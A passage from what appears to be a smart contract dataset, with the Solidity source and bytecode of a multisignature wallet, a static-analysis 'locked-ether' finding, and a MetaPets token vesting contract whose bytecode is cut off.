modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
public
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60606040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b65780632f54bf6e146101cc5780633411c81c146101ff57806354741525146102215780637065cb4814610250578063784547a71461026f5780638b51d13f146102855780639ace38c21461029b578063a0e67e2b1461035a578063a8abe69a146103c0578063b5dc40c3146103e3578063b77bf600146103f9578063ba51a6df1461040c578063c01a8c8414610422578063c642747414610438578063d74f8edd1461049d578063dc8452cd146104b0578063e20056e6146104c3578063ee22610b146104e8575b60003411156101635733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b005b341561017057600080fd5b61017b6004356104fe565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610163600160a060020a0360043516610526565b34156101c157600080fd5b6101636004356106bb565b34156101d757600080fd5b6101eb600160a060020a0360043516610799565b604051901515815260200160405180910390f35b341561020a57600080fd5b6101eb600435600160a060020a03602435166107ae565b341561022c57600080fd5b61023e600435151560243515156107ce565b60405190815260200160405180910390f35b341561025b57600080fd5b610163600160a060020a036004351661083a565b341561027a57600080fd5b6101eb600435610976565b341561029057600080fd5b61023e6004356109fa565b34156102a657600080fd5b6102b1600435610a69565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156103485780601f1061031d57610100808354040283529160200191610348565b820191906000526020600020905b81548152906001019060200180831161032b57829003601f168201915b50509550505050505060405180910390f35b341561036557600080fd5b61036d610a9d565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ac578082015183820152602001610394565b505050509050019250505060405180910390f35b34156103cb57600080fd5b61036d60043560243560443515156064351515610b06565b34156103ee57600080fd5b61036d600435610c2e565b341561040457600080fd5b61023e610d92565b341561041757600080fd5b610163600435610d98565b341561042d57600080fd5b610163600435610e2b565b341561044357600080fd5b61023e60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610f1995505050505050565b34156104a857600080fd5b61023e610f38565b34156104bb57600080fd5b61023e610f3d565b34156104ce57600080fd5b610163600160a060020a0360043581169060243516610f43565b34156104f357600080fd5b6101636004356110f1565b600380548290811061050c57fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561054857600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057157600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105bb57fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105e857fe5b60009182526020909120015460038054600160a060020a03909216918490811061060e57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055610654565b600190910190610594565b60038054600019019061066790826113fb565b5060035460045411156106805760035461068090610d98565b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106e357600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561071857600080fd5b600084815260208190526040902060030154849060ff161561073957600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b600554811015610833578380156107fb575060008181526020819052604090206003015460ff16155b8061081f575082801561081f575060008181526020819052604090206003015460ff165b1561082b576001820191505b6001016107d2565b5092915050565b30600160a060020a031633600160a060020a031614151561085a57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561088257600080fd5b81600160a060020a038116151561089857600080fd5b600380549050600101600454603282111580156108b55750818111155b80156108c057508015155b80156108cb57508115155b15156108d657600080fd5b600160a060020a0385166000908152600260205260409020805460ff19166001908117909155600380549091810161090e83826113fb565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387169081179091557ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600080805b6003548110156109f357600084815260016020526040812060038054919291849081106109a457fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109d8576001820191505b6004548214156109eb57600192506109f3565b60010161097b565b5050919050565b6000805b600354811015610a635760008381526001602052604081206003805491929184908110610a2757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a5b576001820191505b6001016109fe565b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610aa5611424565b6003805480602002602001604051908101604052809291908181526020018280548015610afb57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610add575b505050505090505b90565b610b0e611424565b610b16611424565b600080600554604051805910610b295750595b9080825280602002602001820160405250925060009150600090505b600554811015610bbe57858015610b6e575060008181526020819052604090206003015460ff16155b80610b925750848015610b92575060008181526020819052604090206003015460ff165b15610bb65780838381518110610ba457fe5b60209081029091010152600191909101905b600101610b45565b878703604051805910610bce5750595b908082528060200260200182016040525093508790505b86811015610c2357828181518110610bf957fe5b906020019060200201518489830381518110610c1157fe5b60209081029091010152600101610be5565b505050949350505050565b610c36611424565b610c3e611424565b6003546000908190604051805910610c535750595b9080825280602002602001820160405250925060009150600090505b600354811015610d1b5760008581526001602052604081206003805491929184908110610c9857fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d13576003805482908110610cd357fe5b600091825260209091200154600160a060020a0316838381518110610cf457fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610c6f565b81604051805910610d295750595b90808252806020026020018201604052509350600090505b81811015610d8a57828181518110610d5557fe5b90602001906020020151848281518110610d6b57fe5b600160a060020a03909216602092830290910190910152600101610d41565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610db857600080fd5b6003548160328211801590610dcd5750818111155b8015610dd857508015155b8015610de357508115155b1515610dee57600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610e5357600080fd5b6000828152602081905260409020548290600160a060020a03161515610e7857600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff1615610eac57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a3610f12856110f1565b5050505050565b6000610f268484846112db565b9050610f3181610e2b565b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a0316141515610f6557600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610f8e57600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fb657600080fd5b600092505b60035483101561104f5784600160a060020a0316600384815481101515610fde57fe5b600091825260209091200154600160a060020a03161415611044578360038481548110151561100957fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905561104f565b600190920191610fbb565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b33600160a060020a03811660009081526002602052604081205490919060ff16151561111c57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16151561115157600080fd5b600085815260208190526040902060030154859060ff161561117257600080fd5b61117b86610976565b156112d3576000868152602081815260409182902060038101805460ff1916600190811790915581548183015460028085018054959c5061126297600160a060020a039094169692956000199581161561010002959095019094160492918391601f8301819004810201905190810160405280929190818152602001828054600181600116156101000203166002900480156112585780601f1061122d57610100808354040283529160200191611258565b820191906000526020600020905b81548152906001019060200180831161123b57829003601f168201915b50505050506113d8565b1561129957857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a26112d3565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112f357600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03919091161781556020820151816001015560408201518160020190805161137e929160200190611436565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b81548183558181151161141f5760008381526020902061141f9181019083016114b4565b505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061147757805160ff19168380011785556114a4565b828001600101855582156114a4579182015b828111156114a4578251825591602001919060010190611489565b506114b09291506114b4565b5090565b610b0391905b808211156114b057600081556001016114ba5600a165627a7a723058204a3821a1ae7a7e37beccb238a644feab87a48672d6d8ed5a39faba9457d378f30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,694 |
0xc6695f1087ac6b83b83c56f393601a190933d6a6
|
pragma solidity ^0.8.9;
// SPDX-License-Identifier: MIT
// Developed by: jawadklair
interface IERC20 {
/**
* @dev Returns the total tokens supply
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remainingTokens number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data; // msg.data is used to handle array, bytes, string
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
_previousOwner = address(0);
}
}
contract METAPETS_VESTING is Ownable {
using Address for address;
mapping(address => uint256) private balances;
mapping(address => uint256) public remainingTokens;
mapping(address => uint256) private lastClaimTime;
mapping(address => bool) public whitelisted;
uint256 private minimumContribution = 2.5 ether;
uint256 private tokensPerWei = 4 * 10**9;
bool public vestingEnabled = true;
address public tokenAddress = 0x17cd80AA8F4Aed7C403e4c6b9c2Cd3fABEf09D99; //token address of MetaPets
IERC20 private token = IERC20(tokenAddress);
function buy() payable external returns(bool) {
require(vestingEnabled, "Sale is not yet started");
require(msg.value >= minimumContribution, "Eth value must be greater then equal to 2.5 eth");
require(whitelisted[msg.sender], "Only whitelisted address can participate");
balances[msg.sender] += (tokensPerWei * msg.value);
remainingTokens[msg.sender] += (tokensPerWei * msg.value);
lastClaimTime[msg.sender] = 1637236799;
return true;
}
function claim() external returns(uint256) {
require(remainingTokens[msg.sender] > 0, "No balance to claim");
require(block.timestamp >= (lastClaimTime[msg.sender] + 2 weeks), "Tokens releases every 2 weeks");
uint256 timepassed = ((block.timestamp - lastClaimTime[msg.sender])/ 2 weeks);
uint256 amount = ((balances[msg.sender]/5)*timepassed);
if(amount > remainingTokens[msg.sender])
amount = remainingTokens[msg.sender];
remainingTokens[msg.sender] -= amount;
lastClaimTime[msg.sender] = (lastClaimTime[msg.sender] + (2 weeks * timepassed));
require(token.balanceOf(address(this)) >= amount, "Low tokens balance in contract");
token.transfer(msg.sender, amount);
return amount;
}
function whitelist(address[] calldata wallets) external onlyOwner {
for(uint256 i=0; i<wallets.length; i++) {
whitelisted[wallets[i]] = true;
}
}
function flipVestingEnabled() external onlyOwner returns(bool){
vestingEnabled = !vestingEnabled;
return vestingEnabled;
}
/**
* @dev recovers any tokens stuck in Contract's address
* NOTE! if ownership is renounced then it will not work
*/
function recoverTokens(address tokenAdd, address recipient, uint256 amountToRecover) external onlyOwner {
IERC20 ercToken = IERC20(tokenAdd);
uint256 balance = ercToken.balanceOf(address(this));
require(balance >= amountToRecover, "Not Enough Tokens in contract to recover");
if(amountToRecover > 0)
ercToken.transfer(recipient, amountToRecover);
}
/**
* @dev withdraws any ETH in Contract's balance
* NOTE! if ownership is renounced then it will not work
*/
function withdrawETH() external onlyOwner {
address payable recipient = _msgSender();
if(address(this).balance > 0)
recipient.transfer(address(this).balance);
}
}
|
0x6080604052600436106100f35760003560e01c80639eae7b501161008a578063d936547e11610059578063d936547e1461026c578063dd4670641461029c578063e086e5ec146102bc578063f2fde38b146102d157600080fd5b80639eae7b501461021a578063a69df4b51461022f578063a6f2ae3a14610244578063bd8aa7801461024c57600080fd5b8063715018a6116100c6578063715018a6146101845780637f87bbd6146101995780638da5cb5b146101c35780639d76ea58146101f557600080fd5b8063236f86a1146100f85780634e71d92d146101385780635f3e849f1461014d578063602bc62b1461016f575b600080fd5b34801561010457600080fd5b50610125610113366004610d2b565b60046020526000908152604090205481565b6040519081526020015b60405180910390f35b34801561014457600080fd5b506101256102f1565b34801561015957600080fd5b5061016d610168366004610d4d565b6105cb565b005b34801561017b57600080fd5b50600254610125565b34801561019057600080fd5b5061016d610747565b3480156101a557600080fd5b506009546101b39060ff1681565b604051901515815260200161012f565b3480156101cf57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161012f565b34801561020157600080fd5b506009546101dd9061010090046001600160a01b031681565b34801561022657600080fd5b506101b36107a9565b34801561023b57600080fd5b5061016d6107ee565b6101b36108f7565b34801561025857600080fd5b5061016d610267366004610d89565b610aa6565b34801561027857600080fd5b506101b3610287366004610d2b565b60066020526000908152604090205460ff1681565b3480156102a857600080fd5b5061016d6102b7366004610dfe565b610b47565b3480156102c857600080fd5b5061016d610bcc565b3480156102dd57600080fd5b5061016d6102ec366004610d2b565b610c37565b336000908152600460205260408120546103485760405162461bcd60e51b81526020600482015260136024820152724e6f2062616c616e636520746f20636c61696d60681b60448201526064015b60405180910390fd5b336000908152600560205260409020546103659062127500610e2d565b4210156103b45760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e732072656c65617365732065766572792032207765656b73000000604482015260640161033f565b3360009081526005602052604081205462127500906103d39042610e45565b6103dd9190610e5c565b336000908152600360205260408120549192509082906103ff90600590610e5c565b6104099190610e7e565b336000908152600460205260409020549091508111156104355750336000908152600460205260409020545b3360009081526004602052604081208054839290610454908490610e45565b9091555061046790508262127500610e7e565b336000908152600560205260409020546104819190610e2d565b336000908152600560205260409081902091909155600a5490516370a0823160e01b815230600482015282916001600160a01b0316906370a0823190602401602060405180830381865afa1580156104dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105019190610e9d565b101561054f5760405162461bcd60e51b815260206004820152601e60248201527f4c6f7720746f6b656e732062616c616e636520696e20636f6e74726163740000604482015260640161033f565b600a5460405163a9059cbb60e01b8152336004820152602481018390526001600160a01b039091169063a9059cbb906044016020604051808303816000875af11580156105a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c49190610eb6565b5092915050565b6000546001600160a01b031633146105f55760405162461bcd60e51b815260040161033f90610ed8565b6040516370a0823160e01b815230600482015283906000906001600160a01b038316906370a0823190602401602060405180830381865afa15801561063e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106629190610e9d565b9050828110156106c55760405162461bcd60e51b815260206004820152602860248201527f4e6f7420456e6f75676820546f6b656e7320696e20636f6e747261637420746f604482015267103932b1b7bb32b960c11b606482015260840161033f565b82156107405760405163a9059cbb60e01b81526001600160a01b03858116600483015260248201859052831690